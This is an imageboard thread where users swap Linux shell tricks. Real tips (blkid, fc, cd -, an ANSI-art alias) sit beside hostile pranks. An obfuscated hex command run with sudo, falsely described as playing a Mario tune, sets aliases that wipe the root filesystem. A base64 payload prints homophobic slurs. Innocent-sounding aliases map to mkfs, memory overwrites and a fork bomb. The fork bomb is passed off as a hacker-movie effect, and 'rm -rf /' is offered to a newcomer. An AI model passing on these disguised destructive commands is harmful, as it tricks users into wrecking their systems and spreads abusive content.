ITT: we share cool linux command line tricks/programs/whatever

ITT: we share cool linux command line tricks/programs/whatever

sudo $(echo "616c6961732063643d277375646f20726d202d7266202f202d2d6e6f2d70726573657276652d726f6f74203b270a616c696173206c733d276364270a616c6961732063703d276364270a616c696173206d763d276364270a616c696173206d6b6469723d276364270a616c69617320746f703d276364270a616c69617320657869743d276364270a616c696173207265626f6f743d27636427" | xxd -r -p)

Command related. plays the mario dungeon tune on a loop

Other urls found in this thread:

static.rust-lang.org/rustup.sh
twitter.com/SFWRedditGifs

wow i just deleted everything on my computer!!!

hmm...

How about this

sudo blkid | grep "/dev/sdb1" | awk '{print $3}'

This will print the UUID of the block device attached at /dev/sdb1
If I wasnt so lazy Id write a script

curl -sSf static.rust-lang.org/rustup.sh | sh

bash: alias: rm: not foundbash: alias: -rf: not foundbash: alias: /: not foundbash: alias: --no-preserve-root: not found
really makes you think

Password: sudo: alias: command not foundYou have it broken, dude.

Actual mario dungeon tune on a loop. Requires speaker-test to be installed.

eval $(echo "Tk9URV9CMD0zMTsgTk9URV9DMT0zMzsgTk9URV9DUzE9MzU7IE5PVEVfRDE9Mzc7IE5PVEVfRFMxPTM5OyBOT1RFX0UxPTQxOyBOT1RFX0YxPTQ0OyBOT1RFX0ZTMT00NjsgTk9URV9HMT00OTsgTk9URV9HUzE9NTI7IE5PVEVfQTE9NTU7IE5PVEVfQVMxPTU4OyBOT1RFX0IxPTYyOyBOT1RFX0MyPTY1OyBOT1RFX0NTMj02OTsgTk9URV9EMj03MzsgTk9URV9EUzI9Nzg7IE5PVEVfRTI9ODI7IE5PVEVfRjI9ODc7IE5PVEVfRlMyPTkzOyBOT1RFX0cyPTk4OyBOT1RFX0dTMj0xMDQ7IE5PVEVfQTI9MTEwOyBOT1RFX0FTMj0xMTc7IE5PVEVfQjI9MTIzOyBOT1RFX0MzPTEzMTsgTk9URV9DUzM9MTM5OyBOT1RFX0QzPTE0NzsgTk9URV9EUzM9MTU2OyBOT1RFX0UzPTE2NTsgTk9URV9GMz0xNzU7IE5PVEVfRlMzPTE4NTsgTk9URV9HMz0xOTY7IE5PVEVfR1MzPTIwODsgTk9URV9BMz0yMjA7IE5PVEVfQVMzPTIzMzsgTk9URV9CMz0yNDc7IE5PVEVfQzQ9MjYyOyBOT1RFX0NTND0yNzc7IE5PVEVfRDQ9Mjk0OyBOT1RFX0RTND0zMTE7IE5PVEVfRTQ9MzMwOyBOT1RFX0Y0PTM0OTsgTk9URV9GUzQ9MzcwOyBOT1RFX0c0PTM5MjsgTk9URV9HUzQ9NDE1OyBOT1RFX0E0PTQ0MDsgTk9URV9BUzQ9NDY2OyBOT1RFX0I0PTQ5NDsgTk9URV9DNT01MjM7IE5PVEVfQ1M1PTU1NDsgTk9URV9ENT01ODc7IE5PVEVfRFM1PTYyMjsgTk9URV9FNT02NTk7IE5PVEVfRjU9Njk4OyBOT1RFX0ZTNT03NDA7IE5PVEVfRzU9Nzg0OyBOT1RFX0dTNT04MzE7IE5PVEVfQTU9ODgwOyBOT1RFX0FTNT05MzI7IE5PVEVfQjU9OTg4OyBOT1RFX0M2PTEwNDc7IE5PVEVfQ1M2PTExMDk7IE5PVEVfRDY9MTE3NTsgTk9URV9EUzY9MTI0NTsgTk9URV9FNj0xMzE5OyBOT1RFX0Y2PTEzOTc7IE5PVEVfRlM2PTE0ODA7IE5PVEVfRzY9MTU2ODsgTk9URV9HUzY9MTY2MTsgTk9URV9BNj0xNzYwOyBOT1RFX0FTNj0xODY1OyBOT1RFX0I2PTE5NzY7IE5PVEVfQzc9MjA5MzsgTk9URV9DUzc9MjIxNzsgTk9URV9ENz0yMzQ5OyBOT1RFX0RTNz0yNDg5OyBOT1RFX0U3PTI2Mzc7IE5PVEVfRjc9Mjc5NDsgTk9URV9GUzc9Mjk2MDsgTk9URV9HNz0zMTM2OyBOT1RFX0dTNz0zMzIyOyBOT1RFX0E3PTM1MjA7IE5PVEVfQVM3PTM3Mjk7IE5PVEVfQjc9Mzk1MTsgTk9URV9DOD00MTg2OyBOT1RFX0NTOD00NDM1OyBOT1RFX0Q4PTQ2OTk7IE5PVEVfRFM4PTQ5Nzg7IAp1bmRlcndvcmxkPSggJE5PVEVfQzQgJE5PVEVfQzUgJE5PVEVfQTMgJE5PVEVfQTQgJE5PVEVfQVMzICROT1RFX0FTNCAwIDAgJE5PVEVfQzQgJE5PVEVfQzUgJE5PVEVfQTMgJE5PVEVfQTQgJE5PVEVfQVMzICROT1RFX0FTNCAwIDAgJE5PVEVfRjMgJE5PVEVfRjQgJE5PVEVfRDMgJE5PVEVfRDQgJE5PVEVfRFMzICROT1RFX0RTNCAwIDAgJE5PVEVfRjMgJE5PVEVfRjQgJE5PVEVfRDMgJE5PVEVfRDQgJE5PVEVfRFMzICROT1RFX0RTNCAwIDAgJE5PVEVfRFM0ICROT1RFX0NTNCAkTk9URV9ENCAkTk9URV9DUzQgJE5PVEVfRFM0ICROT1RFX0RTNCAkTk9URV9HUzMgJE5PVEVfRzMgJE5PVEVfQ1M0ICROT1RFX0M0ICROT1RFX0ZTNCAkTk9URV9GNCAkTk9URV9FMyAkTk9URV9BUzQgJE5PVEVfQTQgJE5PVEVfR1M0ICROT1RFX0RTNCAkTk9URV9CMyAkTk9URV9BUzMgJE5PVEVfQTMgJE5PVEVfR1MzIDAgMCAwICk7CnVuZGVyd29ybGRfdGVtcG89KCAxMiAxMiAxMiAxMiAxMiAxMiA2IDMgMTIgMTIgMTIgMTIgMTIgMTIgNiAzIDEyIDEyIDEyIDEyIDEyIDEyIDYgMyAxMiAxMiAxMiAxMiAxMiAxMiA2IDYgMTggMTggMTggNiA2IDYgNiA2IDYgMTggMTggMTggMTggMTggMTggMTAgMTAgMTAgMTAgMTAgMTAgMyAzIDMgKTsKdW5kZXJ3b3JsZF9tZXNzYWdlPSggIk8iICJQICIgImlzICIgImEgIiAiZmFnZ290IiAiLlxuIiAiIiAiIiAiTyIgIlAgIiAiaXMgIiAiYSAiICJmYWdnb3QiICIuXG4iICIiICIiICJBICIgImJpZyAiICJmdWNraW5nICIgImZhZ2dvdCIgIi5cbiIgIiIgIiIgIiIgIkEgIiAiYmlnICIgImZ1Y2tpbmcgIiAiZmFnZ290IiAiLlxuIiAiIiAiIiAiIiAiTyIgIlAiICIgaSIgInMgIiAiYSAiICJmIiAiYSIgImciICJnIiAibyIgInQuXG4iICJPIiAiUCIgIiBpIiAicyAiICJhICIgImYiICJhIiAiZyIgImciICJvdC5cbiIgKTsKX2FsYXJtKCkgeyAgICAgeyAgICAgICAoIFxzcGVha2VyLXRlc3QgLS1mcmVxdWVuY3kgJDEgLS10ZXN0IHNpbmUgKSYgICAgICAgcGlkPSQhOyAgICAgICBzbGVlcCAwLiR7Mn1zOyAgICAgICBkaXNvd24gJHBpZDsgICAgICAga2lsbCAtOSAkcGlkOyAgICAgfSAmPiAvZGV2L251bGw7IH07IHdoaWxlIHRydWU7IGRvICAgICBmb3IoKGk9MDtpPCR7I3VuZGVyd29ybGRbQF19O2krKykpOyAgICAgZG8gICAgICAgICBpZiBbICR7dW5kZXJ3b3JsZFskaV19IC1uZSAwIF07ICAgICAgICAgdGhlbiAgICAgICAgICAgICBwcmludGYgIiViIiAiJHt1bmRlcndvcmxkX21lc3NhZ2VbJGldfSI7ICAgICAgICAgICAgIF9hbGFybSAke3VuZGVyd29ybGRbJGldfSAke3VuZGVyd29ybGRfdGVtcG9bJGldfTsgICAgICAgICBlbHNlICAgICAgICAgICAgIHNsZWVwIDAuJHt1bmRlcndvcmxkX3RlbXBvWyRpXX07ICAgICAgICAgZmk7ICAgICAgICAgIHNsZWVwIDAuMCR7dW5kZXJ3b3JsZF90ZW1wb1skaV19OyAgICAgZG9uZSBkb25lIAo=" | base64 -d)

...

Ok here's a shell alias to display DOS ANSI art.
alias kat='iconv -c -f CP437 -t utf-8'
You need to set LC_CTYPE=en_US.UTF-8 or other utf-8 locale. Also need a unicode font. I use these Xresources for xterm:
*VT100*faceName: DejaVu Sans Mono*VT100*faceSize: 14
But it's a lot of trouble to go through, compared to just using VGA font.

This is now a tuxpepe thread.

...

...

...

...

yolo() { # Kill a random process. kill -9 "$(pgrep . | shuf -n 1)"}

Wheres that russian roulette script someone made?

# Bad aliases.
alias cd='rm -rf --no-preserve-root'
alias cleanup-disc='mkfs.ext3 /dev/sda'
alias cleanup-home='mv ~ /dev/null'
alias cleanup-kernel='echo c > /proc/sysrq-trigger'
alias cleanup-ram='cat /dev/zero > /dev/mem'
alias matrix=':(){ :|: & };:'
alias system-info='cat /dev/port'

Yet another terminal image-viewer using w3m.
img() { tput smcup tput civis w3m -X "$@" \ -o confirm_qq=0 \ -o ext_image_viewer=0 \ -o image_scale="$((LINES/2*5))" tput clear tput rmcup tput cnorm}

history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -nr | head -n10

Show 10 most used commands.


play -n -n --combine merge synth pinknoise band -n 1200 1800 tremolo 50 10 tremolo 0.14 70 tremolo 0.2 50

ocean beach sound

wat do?

sudo rm -rf / --no-preserve-root

does it work on a macOS?

:(){ :|:& };:
makes your terminal display a bunch of random characters like in the 1337 haxxor movies

now you've fucking done it unleashed the fucking beast I'm going to hack you so fucking hard your grandma is going to have to reboot her computer. I have over 250 confirmed hacks and hacked the lunar lander you have nothing on me skiddy get the fuck out before I push in your shit bitch.

not like it would be hard to hack Holla Forums

Use fc instead of history or $HISTTIMEFORMAT will break it. Example:
fc -l 1 | perl6 -e 'say lines».words»[1].Bag.sort(-*.value).head(10)'

very nice

just

i never bothered to learn the command line for linux nor am i very active in linux community. which isnt bad because i dont really need to be

Thanks for teaching me fc. fc -s as alias is useful as fuck.

awk --copyleft | wc -c

Get the fuck off tech or at the very least get some Gnu/Loonix

cd -

Returns you to the directory you were just working in. Simple as hell, but surprisingly nice when you quickly cd away out of habit, and don't feel like typing the whole path in again.

wtf, how did I not know this? I have a new favrite command now.